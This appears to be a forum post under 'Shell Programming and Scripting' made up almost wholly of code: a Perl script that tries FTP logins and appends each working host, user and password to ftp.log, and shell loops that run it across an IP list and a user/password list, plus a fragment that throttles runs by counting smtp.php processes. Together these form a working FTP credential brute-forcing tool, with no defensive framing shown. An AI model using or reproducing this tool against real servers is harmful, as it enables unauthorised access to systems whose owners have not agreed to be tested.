Shell Programming and Scripting

#!/usr/bin/perl

use Net::FTP;

my $host = $ARGV[0];
my $user = $ARGV[1];
my $pass = $ARGV[2] || "";
my $port = "21";

$ftp=Net::FTP->new("$host", Port=>"$port", Timeout => 5)
or die("couldn't connect to host:" . $host . " on port " . $port);

if($ftp->login("$user","$pass")) {
 print "Login found: $host $user $pass\n";
 open (MYFILE, '>>ftp.log');
 print MYFILE "$host $user $pass\n";
 close (MYFILE);
}

$ftp->close();

cat $1 | while read LN; do
SRV=`echo $LN | awk '{print $1}'`
USR=`echo $LN | awk '{print $2}'`
PAS=`echo $LN | awk '{print $3}'`
perl x.pl $SRV $USR $PAS
done

for ip in $(cat ip_file)
do
        while read USR PAS
        do
                perl x.pl $ip $USR $PAS
        done < user_password_file
done

CMD=`ps -eaf | grep -c smtp.php`
if [ "$CMD" -lt "10" ]; then
    perl x.pl ....
else
        sleep 15
fi
done